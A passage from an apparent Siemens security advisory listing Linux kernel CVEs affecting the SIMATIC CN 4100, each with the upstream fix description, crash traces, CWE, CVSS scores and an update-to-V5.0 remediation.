jbd2_journal_release_jbd_inode(). ocfs2_dismount_volume()-> ocfs2_delete_osb()-> ocfs2_free_slot_info()-> __ocfs2_free_slot_info()-> evict()-> ocfs2_evict_inode()-> ocfs2_clear_inode()-> jbd2_journal_release_jbd_inode(osb->journal->j_journal, Adding osb->journal checks will prevent null-ptr-deref during the above execution path.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39843\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm: slub: avoid wake up kswapd in set_track_prepare set_track_prepare() can incur lock recursion. The issue is that it is called from hrtimer_start_range_ns holding the per_cpu(hrtimer_bases)[n].lock, but when enabled CONFIG_DEBUG_OBJECTS_TIMERS, may wake up kswapd in set_track_prepare, and try to hold the per_cpu(hrtimer_bases)[n].lock. Avoid deadlock caused by implicitly waking up kswapd by passing in allocation flags, which do not contain __GFP_KSWAPD_RECLAIM in the debug_objects_fill_pool() case. Inside stack depot they are processed by gfp_nested_mask(). Since ___slab_alloc() has preemption disabled, we mask out __GFP_DIRECT_RECLAIM from the flags there. The oops looks something like: BUG: spinlock recursion on CPU#3, swapper/3/0 lock: 0xffffff8a4bf29c80, .magic: dead4ead, .owner: swapper/3/0, .owner_cpu: 3 Hardware name: Qualcomm Technologies, Inc. Popsicle based on SM8850 (DT) Call trace: spin_bug+0x0 _raw_spin_lock_irqsave+0x80 hrtimer_try_to_cancel+0x94 task_contending+0x10c enqueue_dl_entity+0x2a4 dl_server_start+0x74 enqueue_task_fair+0x568 enqueue_task+0xac do_activate_task+0x14c ttwu_do_activate+0xcc try_to_wake_up+0x6c8 default_wake_function+0x20 autoremove_wake_function+0x1c __wake_up+0xac wakeup_kswapd+0x19c wake_all_kswapds+0x78 __alloc_pages_slowpath+0x1ac __alloc_pages_noprof+0x298 stack_depot_save_flags+0x6b0 stack_depot_save+0x14 set_track_prepare+0x5c ___slab_alloc+0xccc __kmalloc_cache_noprof+0x470 __set_page_owner+0x2bc post_alloc_hook[jt]+0x1b8 prep_new_page+0x28 get_page_from_freelist+0x1edc __alloc_pages_noprof+0x13c alloc_slab_page+0x244 allocate_slab+0x7c ___slab_alloc+0x8e8 kmem_cache_alloc_noprof+0x450 debug_objects_fill_pool+0x22c debug_object_activate+0x40 enqueue_hrtimer[jt]+0xdc hrtimer_start_range_ns+0x5f8 ...\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39844\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm: move page table sync declarations to linux/pgtable.h During our internal testing, we started observing intermittent boot failures when the machine uses 4-level paging and has a large amount of persistent memory: BUG: unable to handle page fault for address: ffffe70000000034 #PF: supervisor write access in kernel mode #PF: error_code(0x0002) - not-present page PGD 0 P4D 0 Oops: 0002 [#1] SMP NOPTI RIP: 0010:__init_single_page+0x9/0x6d Call Trace: __init_zone_device_page+0x17/0x5d memmap_init_zone_device+0x154/0x1bb pagemap_range+0x2e0/0x40f memremap_pages+0x10b/0x2f0 devm_memremap_pages+0x1e/0x60 dev_dax_probe+0xce/0x2ec [device_dax] dax_bus_probe+0x6d/0xc9 [... snip ...] It turns out that the kernel panics while initializing vmemmap (struct page array) when the vmemmap region spans two PGD entries, because the new PGD entry is only installed in init_mm.pgd, but not in the page tables of other tasks. And looking at __populate_section_memmap(): if (vmemmap_can_optimize(altmap, pgmap)) // does not sync top level page tables r = vmemmap_populate_compound_pages(pfn, start, end, nid, pgmap); else // sync top level page tables in x86 r = vmemmap_populate(start, end, nid, altmap); In the normal path, vmemmap_populate() in arch/x86/mm/init_64.c synchronizes the top level page table (See commit 9b861528a801 (\"x86-64, mem: Update all PGDs for direct mapping and vmemmap mapping changes\")) so that all tasks in the system can see the new vmemmap area. However, when vmemmap_can_optimize() returns true, the optimized path skips synchronization of top-level page tables. This is because vmemmap_populate_compound_pages() is implemented in core MM code, which does not handle synchronization of the top-level page tables. Instead, the core MM has historically relied on each architecture to perform this synchronization manually. We're not the first party to encounter a crash caused by not-sync'd top level page tables: earlier this year, Gwan-gyeong Mun attempted to address the issue [1] [2] after hitting a kernel panic when x86 code accessed the vmemmap area before the corresponding top-level entries were synced. At that time, the issue was believed to be triggered only when struct page was enlarged for debugging purposes, and the patch did not get further updates. It turns out that current approach of relying on each arch to handle the page table sync manually is fragile because 1) it's easy to forget to sync the top level page table, and 2) it's also easy to overlook that the kernel should not access the vmemmap and direct mapping areas before the sync. # The solution: Make page table sync more code robust and harder to miss To address this, Dave Hansen suggested [3] [4] introducing {pgd,p4d}_populate_kernel() for updating kernel portion of the page tables and allow each architecture to explicitly perform synchronization when installing top-level entries. With this approach, we no longer need to worry about missing the sync step, reducing the risk of future regressions. The new interface reuses existing ARCH_PAGE_TABLE_SYNC_MASK, PGTBL_P*D_MODIFIED and arch_sync_kernel_mappings() facility used by vmalloc and ioremap to synchronize page tables. pgd_populate_kernel() looks like this: static inline void pgd_populate_kernel(unsigned long addr, pgd_t *pgd, p4d_t *p4d) { pgd_populate(&init_mm, pgd, p4d); if (ARCH_PAGE_TABLE_SYNC_MASK & PGTBL_PGD_MODIFIED) arch_sync_kernel_mappings(addr, addr); } It is worth noting that vmalloc() and apply_to_range() carefully synchronizes page tables by calling p*d_alloc_track() and arch_sync_kernel_mappings(), and thus they are not affected by ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39845\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: x86/mm/64: define ARCH_PAGE_TABLE_SYNC_MASK and arch_sync_kernel_mappings() Define ARCH_PAGE_TABLE_SYNC_MASK and arch_sync_kernel_mappings() to ensure page tables are properly synchronized when calling p*d_populate_kernel(). For 5-level paging, synchronization is performed via pgd_populate_kernel(). In 4-level paging, pgd_populate() is a no-op, so synchronization is instead performed at the P4D level via p4d_populate_kernel(). This fixes intermittent boot failures on systems using 4-level paging and a large amount of persistent memory: BUG: unable to handle page fault for address: ffffe70000000034 #PF: supervisor write access in kernel mode #PF: error_code(0x0002) - not-present page PGD 0 P4D 0 Oops: 0002 [#1] SMP NOPTI RIP: 0010:__init_single_page+0x9/0x6d Call Trace: __init_zone_device_page+0x17/0x5d memmap_init_zone_device+0x154/0x1bb pagemap_range+0x2e0/0x40f memremap_pages+0x10b/0x2f0 devm_memremap_pages+0x1e/0x60 dev_dax_probe+0xce/0x2ec [device_dax] dax_bus_probe+0x6d/0xc9 [... snip ...] It also fixes a crash in vmemmap_set_pmd() caused by accessing vmemmap before sync_global_pgds() [1]: BUG: unable to handle page fault for address: ffffeb3ff1200000 #PF: supervisor write access in kernel mode #PF: error_code(0x0002) - not-present page PGD 0 P4D 0 Oops: Oops: 0002 [#1] PREEMPT SMP NOPTI Tainted: [W]=WARN RIP: 0010:vmemmap_set_pmd+0xff/0x230 vmemmap_populate_hugepages+0x176/0x180 vmemmap_populate+0x34/0x80 __populate_section_memmap+0x41/0x90 sparse_add_section+0x121/0x3e0 __add_pages+0xba/0x150 add_pages+0x1d/0x70 memremap_pages+0x3dc/0x810 devm_memremap_pages+0x1c/0x60 xe_devm_add+0x8b/0x100 [xe] xe_tile_init_noalloc+0x6a/0x70 [xe] xe_device_probe+0x48c/0x740 [xe] [... snip ...]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39846\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: pcmcia: Fix a NULL pointer dereference in __iodyn_find_io_region() In __iodyn_find_io_region(), pcmcia_make_resource() is assigned to res and used in pci_bus_alloc_resource(). There is a dereference of res in pci_bus_alloc_resource(), which could lead to a NULL pointer dereference on failure of pcmcia_make_resource(). Fix this bug by adding a check of res.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39847\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ppp: fix memory leak in pad_compress_skb If alloc_skb() fails in pad_compress_skb(), it returns NULL without releasing the old skb. The caller does: skb = pad_compress_skb(ppp, skb); if (!skb) goto drop; drop: kfree_skb(skb); When pad_compress_skb() returns NULL, the reference to the old skb is lost and kfree_skb(skb) ends up doing nothing, leading to a memory leak. Align pad_compress_skb() semantics with realloc(): only free the old skb if allocation and compression succeed. At the call site, use the new_skb variable so the original skb is not lost when pad_compress_skb() fails.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-772 Missing Release of Resource after Effective Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39848\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ax25: properly unshare skbs in ax25_kiss_rcv() Bernard Pidoux reported a regression apparently caused by commit c353e8983e0d (\"net: introduce per netns packet chains\"). skb->dev becomes NULL and we crash in __netif_receive_skb_core(). Before above commit, different kind of bugs or corruptions could happen without a major crash. But the root cause is that ax25_kiss_rcv() can queue/mangle input skb without checking if this skb is shared or not. Many thanks to Bernard Pidoux for his help, diagnosis and tests. We had a similar issue years ago fixed with commit 7aaed57c5c28 (\"phonet: properly unshare skbs in phonet_rcv()\").\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39849\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: wifi: cfg80211: sme: cap SSID length in __cfg80211_connect_result() If the ssid->datalen is more than IEEE80211_MAX_SSID_LEN (32) it would lead to memory corruption so add some bounds checking.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39853\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: i40e: Fix potential invalid access when MAC list is empty list_first_entry() never returns NULL - if the list is empty, it still returns a pointer to an invalid object, leading to potential invalid memory access when dereferenced. Fix this by using list_first_entry_or_null instead of list_first_entry.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39857\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net/smc: fix one NULL pointer dereference in smc_ib_is_sg_need_sync() BUG: kernel NULL pointer dereference, address: 00000000000002ec PGD 0 P4D 0 Oops: Oops: 0000 [#1] SMP PTI CPU: 28 UID: 0 PID: 343 Comm: kworker/28:1 Kdump: loaded Tainted: G OE 6.17.0-rc2+ #9 NONE Tainted: [O]=OOT_MODULE, [E]=UNSIGNED_MODULE Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.15.0-1 04/01/2014 Workqueue: smc_hs_wq smc_listen_work [smc] RIP: 0010:smc_ib_is_sg_need_sync+0x9e/0xd0 [smc] ... Call Trace: smcr_buf_map_link+0x211/0x2a0 [smc] __smc_buf_create+0x522/0x970 [smc] smc_buf_create+0x3a/0x110 [smc] smc_find_rdma_v2_device_serv+0x18f/0x240 [smc] ? smc_vlan_by_tcpsk+0x7e/0xe0 [smc] smc_listen_find_device+0x1dd/0x2b0 [smc] smc_listen_work+0x30f/0x580 [smc] process_one_work+0x18c/0x340 worker_thread+0x242/0x360 kthread+0xe7/0x220 ret_from_fork+0x13a/0x160 ret_from_fork_asm+0x1a/0x30 If the software RoCE device is used, ibdev->dma_device is a null pointer. As a result, the problem occurs. Null pointer detection is added to prevent problems.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39860\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: Bluetooth: Fix use-after-free in l2cap_sock_cleanup_listen() syzbot reported the splat below without a repro. In the splat, a single thread calling bt_accept_dequeue() freed sk and touched it after that. The root cause would be the racy l2cap_sock_cleanup_listen() call added by the cited commit. bt_accept_dequeue() is called under lock_sock() except for l2cap_sock_release(). Two threads could see the same socket during the list iteration in bt_accept_dequeue(): CPU1 CPU2 (close()) ---- ---- sock_hold(sk) sock_hold(sk); lock_sock(sk) <-- block close() sock_put(sk) bt_accept_unlink(sk) sock_put(sk) <-- refcnt by bt_accept_enqueue() release_sock(sk) lock_sock(sk) sock_put(sk) bt_accept_unlink(sk) sock_put(sk) <-- last refcnt bt_accept_unlink(sk) <-- UAF Depending on the timing, the other thread could show up in the \"Freed by task\" part. Let's call l2cap_sock_cleanup_listen() under lock_sock() in l2cap_sock_release(). [0]: BUG: KASAN: slab-use-after-free in debug_spin_lock_before kernel/locking/spinlock_debug.c:86 [inline] BUG: KASAN: slab-use-after-free in do_raw_spin_lock+0x26f/0x2b0 kernel/locking/spinlock_debug.c:115 Read of size 4 at addr ffff88803b7eb1c4 by task syz.5.3276/16995 CPU: 3 UID: 0 PID: 16995 Comm: syz.5.3276 Not tainted syzkaller #0 PREEMPT(full) Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014 Call Trace: __dump_stack lib/dump_stack.c:94 [inline] dump_stack_lvl+0x116/0x1f0 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:378 [inline] print_report+0xcd/0x630 mm/kasan/report.c:482 kasan_report+0xe0/0x110 mm/kasan/report.c:595 debug_spin_lock_before kernel/locking/spinlock_debug.c:86 [inline] do_raw_spin_lock+0x26f/0x2b0 kernel/locking/spinlock_debug.c:115 spin_lock_bh include/linux/spinlock.h:356 [inline] release_sock+0x21/0x220 net/core/sock.c:3746 bt_accept_dequeue+0x505/0x600 net/bluetooth/af_bluetooth.c:312 l2cap_sock_cleanup_listen+0x5c/0x2a0 net/bluetooth/l2cap_sock.c:1451 l2cap_sock_release+0x5c/0x210 net/bluetooth/l2cap_sock.c:1425 __sock_release+0xb3/0x270 net/socket.c:649 sock_close+0x1c/0x30 net/socket.c:1439 __fput+0x3ff/0xb70 fs/file_table.c:468 task_work_run+0x14d/0x240 kernel/task_work.c:227 resume_user_mode_work include/linux/resume_user_mode.h:50 [inline] exit_to_user_mode_loop+0xeb/0x110 kernel/entry/common.c:43 exit_to_user_mode_prepare include/linux/irq-entry-common.h:225 [inline] syscall_exit_to_user_mode_work include/linux/entry-common.h:175 [inline] syscall_exit_to_user_mode include/linux/entry-common.h:210 [inline] do_syscall_64+0x3f6/0x4c0 arch/x86/entry/syscall_64.c:100 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f2accf8ebe9 Code: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007ffdb6cb1378 EFLAGS: 00000246 ORIG_RAX: 00000000000001b4 RAX: 0000000000000000 RBX: 00000000000426fb RCX: 00007f2accf8ebe9 RDX: 0000000000000000 RSI: 000000000000001e RDI: 0000000000000003 RBP: 00007f2acd1b7da0 R08: 0000000000000001 R09: 00000012b6cb166f R10: 0000001b30e20000 R11: 0000000000000246 R12: 00007f2acd1b609c R13: 00007f2acd1b6090 R14: ffffffffffffffff R15: 00007ffdb6cb1490 Allocated by task 5326: kasan_save_stack+0x33/0x60 mm/kasan/common.c:47 kasan_save_track+0x14/0x30 mm/kasan/common.c:68 poison_kmalloc_redzone mm/kasan/common.c:388 [inline] __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:405 kasan_kmalloc include/linux/kasan.h:260 [inline] __do_kmalloc_node mm/slub.c:4365 [inline] __kmalloc_nopro ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39864\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: wifi: cfg80211: fix use-after-free in cmp_bss() Following bss_free() quirk introduced in commit 776b3580178f (\"cfg80211: track hidden SSID networks properly\"), adjust cfg80211_update_known_bss() to free the last beacon frame elements only if they're not shared via the corresponding 'hidden_beacon_bss' pointer.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39865\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: tee: fix NULL pointer dereference in tee_shm_put tee_shm_put have NULL pointer dereference: __optee_disable_shm_cache --> shm = reg_pair_to_ptr(...);//shm maybe return NULL tee_shm_free(shm); --> tee_shm_put(shm);//crash Add check in tee_shm_put to fix it. panic log: Unable to handle kernel paging request at virtual address 0000000000100cca Mem abort info: ESR = 0x0000000096000004 EC = 0x25: DABT (current EL), IL = 32 bits SET = 0, FnV = 0 EA = 0, S1PTW = 0 FSC = 0x04: level 0 translation fault Data abort info: ISV = 0, ISS = 0x00000004, ISS2 = 0x00000000 CM = 0, WnR = 0, TnD = 0, TagAccess = 0 GCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0 user pgtable: 4k pages, 48-bit VAs, pgdp=0000002049d07000 [0000000000100cca] pgd=0000000000000000, p4d=0000000000000000 Internal error: Oops: 0000000096000004 [#1] SMP CPU: 2 PID: 14442 Comm: systemd-sleep Tainted: P OE ------- ---- 6.6.0-39-generic #38 Source Version: 938b255f6cb8817c95b0dd5c8c2944acfce94b07 Hardware name: greatwall GW-001Y1A-FTH, BIOS Great Wall BIOS V3.0 10/26/2022 pstate: 80000005 (Nzcv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : tee_shm_put+0x24/0x188 lr : tee_shm_free+0x14/0x28 sp : ffff001f98f9faf0 x29: ffff001f98f9faf0 x28: ffff0020df543cc0 x27: 0000000000000000 x26: ffff001f811344a0 x25: ffff8000818dac00 x24: ffff800082d8d048 x23: ffff001f850fcd18 x22: 0000000000000001 x21: ffff001f98f9fb88 x20: ffff001f83e76218 x19: ffff001f83e761e0 x18: 000000000000ffff x17: 303a30303a303030 x16: 0000000000000000 x15: 0000000000000003 x14: 0000000000000001 x13: 0000000000000000 x12: 0101010101010101 x11: 0000000000000001 x10: 0000000000000001 x9 : ffff800080e08d0c x8 : ffff001f98f9fb88 x7 : 0000000000000000 x6 : 0000000000000000 x5 : 0000000000000000 x4 : 0000000000000000 x3 : 0000000000000000 x2 : ffff001f83e761e0 x1 : 00000000ffff001f x0 : 0000000000100cca Call trace: tee_shm_put+0x24/0x188 tee_shm_free+0x14/0x28 __optee_disable_shm_cache+0xa8/0x108 optee_shutdown+0x28/0x38 platform_shutdown+0x28/0x40 device_shutdown+0x144/0x2b0 kernel_power_off+0x3c/0x80 hibernate+0x35c/0x388 state_store+0x64/0x80 kobj_attr_store+0x14/0x28 sysfs_kf_write+0x48/0x60 kernfs_fop_write_iter+0x128/0x1c0 vfs_write+0x270/0x370 ksys_write+0x6c/0x100 __arm64_sys_write+0x20/0x30 invoke_syscall+0x4c/0x120 el0_svc_common.constprop.0+0x44/0xf0 do_el0_svc+0x24/0x38 el0_svc+0x24/0x88 el0t_64_sync_handler+0x134/0x150 el0t_64_sync+0x14c/0x15\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39866\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs: writeback: fix use-after-free in __mark_inode_dirty() An use-after-free issue occurred when __mark_inode_dirty() get the bdi_writeback that was in the progress of switching. CPU: 1 PID: 562 Comm: systemd-random- Not tainted 6.6.56-gb4403bd46a8e #1 